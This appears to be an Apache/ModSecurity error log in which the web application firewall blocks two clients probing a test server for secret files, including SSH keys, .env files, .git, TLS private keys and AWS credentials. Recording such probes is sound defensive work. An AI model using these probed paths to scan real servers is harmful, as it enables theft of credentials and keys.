[Wed Jan 15 22:36:37.739398 2025] [:error] [pid 489201] [client 213.232.87.228:13149] [client 213.232.87.228] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4gqZYMhb0O0mPSQr8lPKAAAAAY"]
[Wed Jan 15 22:36:37.739630 2025] [:error] [pid 489201] [client 213.232.87.228:13149] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4gqZYMhb0O0mPSQr8lPKAAAAAY"]
[Wed Jan 15 22:36:37.739794 2025] [:error] [pid 489201] [client 213.232.87.228:13149] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4gqZYMhb0O0mPSQr8lPKAAAAAY"]
[Wed Jan 15 22:36:37.792173 2025] [:error] [pid 497027] [client 213.232.87.228:28349] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4gqZbIneUQjChqCfZ92DgAAAAQ"]
[Wed Jan 15 22:36:37.792404 2025] [:error] [pid 497027] [client 213.232.87.228:28349] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4gqZbIneUQjChqCfZ92DgAAAAQ"]
[Wed Jan 15 22:36:37.792581 2025] [:error] [pid 497027] [client 213.232.87.228:28349] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4gqZbIneUQjChqCfZ92DgAAAAQ"]
[Wed Jan 15 22:36:38.230090 2025] [:error] [pid 497028] [client 213.232.87.228:12897] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4gqZvJeVH8YRQo4w54HBwAAAAg"]
[Wed Jan 15 22:36:38.231317 2025] [:error] [pid 496994] [client 213.232.87.228:6457] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4gqZlGvN_7u0pQk47_MrQAAAAM"]
[Wed Jan 15 22:36:38.231495 2025] [:error] [pid 496994] [client 213.232.87.228:6457] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4gqZlGvN_7u0pQk47_MrQAAAAM"]
[Wed Jan 15 22:36:38.231714 2025] [:error] [pid 496994] [client 213.232.87.228:6457] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4gqZlGvN_7u0pQk47_MrQAAAAM"]
[Wed Jan 15 22:36:38.242585 2025] [:error] [pid 497028] [client 213.232.87.228:12897] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4gqZvJeVH8YRQo4w54HBwAAAAg"]
[Wed Jan 15 22:36:38.242786 2025] [:error] [pid 497028] [client 213.232.87.228:12897] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4gqZvJeVH8YRQo4w54HBwAAAAg"]
[Wed Jan 15 22:36:38.623587 2025] [:error] [pid 497005] [client 213.232.87.228:30683] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4gqZiZ47vPfg1ivW-AoZgAAAAo"]
[Wed Jan 15 22:36:38.624479 2025] [:error] [pid 497005] [client 213.232.87.228:30683] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4gqZiZ47vPfg1ivW-AoZgAAAAo"]
[Wed Jan 15 22:36:38.624925 2025] [:error] [pid 497005] [client 213.232.87.228:30683] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4gqZiZ47vPfg1ivW-AoZgAAAAo"]
[Wed Jan 15 22:36:38.666163 2025] [:error] [pid 489190] [client 213.232.87.228:65365] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4gqZvGQNR7qDEtyIGfFtAAAAAE"]
[Wed Jan 15 22:36:38.666593 2025] [:error] [pid 489190] [client 213.232.87.228:65365] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4gqZvGQNR7qDEtyIGfFtAAAAAE"]
[Wed Jan 15 22:36:38.666883 2025] [:error] [pid 489190] [client 213.232.87.228:65365] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4gqZvGQNR7qDEtyIGfFtAAAAAE"]
[Wed Jan 15 22:36:38.683928 2025] [:error] [pid 496999] [client 213.232.87.228:32563] [client 213.232.87.228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4gqZqmdLlLWk7rgxcDmhwAAAAU"]
[Wed Jan 15 22:36:38.684080 2025] [:error] [pid 496999] [client 213.232.87.228:32563] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4gqZqmdLlLWk7rgxcDmhwAAAAU"]
[Wed Jan 15 22:36:38.684227 2025] [:error] [pid 496999] [client 213.232.87.228:32563] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4gqZqmdLlLWk7rgxcDmhwAAAAU"]
[Fri Jan 17 00:23:50.165313 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/php.ini"] [unique_id "Z4mVBpihkh7MKECGjN-iowAAAAc"]
[Fri Jan 17 00:23:50.167736 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/php.ini"] [unique_id "Z4mVBpihkh7MKECGjN-iowAAAAc"]
[Fri Jan 17 00:23:50.168245 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/php.ini"] [unique_id "Z4mVBpihkh7MKECGjN-iowAAAAc"]
[Fri Jan 17 00:23:59.152890 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4mVD5ihkh7MKECGjN-irQAAAAc"]
[Fri Jan 17 00:23:59.154371 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4mVD5ihkh7MKECGjN-irQAAAAc"]
[Fri Jan 17 00:23:59.154821 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4mVD5ihkh7MKECGjN-irQAAAAc"]
[Fri Jan 17 00:24:00.159249 2025] [authz_core:error] [pid 521527] [client 158.101.109.88:57593] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/etc/env.php
[Fri Jan 17 00:24:04.413111 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4mVFJihkh7MKECGjN-itAAAAAc"]
[Fri Jan 17 00:24:04.415139 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4mVFJihkh7MKECGjN-itAAAAAc"]
[Fri Jan 17 00:24:04.415571 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4mVFJihkh7MKECGjN-itAAAAAc"]
[Fri Jan 17 00:24:06.524011 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase ".profile" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .profile found within REQUEST_FILENAME: /.profile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.profile"] [unique_id "Z4mVFpihkh7MKECGjN-itwAAAAc"]
[Fri Jan 17 00:24:06.525633 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.profile"] [unique_id "Z4mVFpihkh7MKECGjN-itwAAAAc"]
[Fri Jan 17 00:24:06.526150 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.profile"] [unique_id "Z4mVFpihkh7MKECGjN-itwAAAAc"]
[Fri Jan 17 00:24:19.244926 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/config.ini"] [unique_id "Z4mVI5ihkh7MKECGjN-ixQAAAAc"]
[Fri Jan 17 00:24:19.246009 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/config.ini"] [unique_id "Z4mVI5ihkh7MKECGjN-ixQAAAAc"]
[Fri Jan 17 00:24:19.246306 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/config.ini"] [unique_id "Z4mVI5ihkh7MKECGjN-ixQAAAAc"]
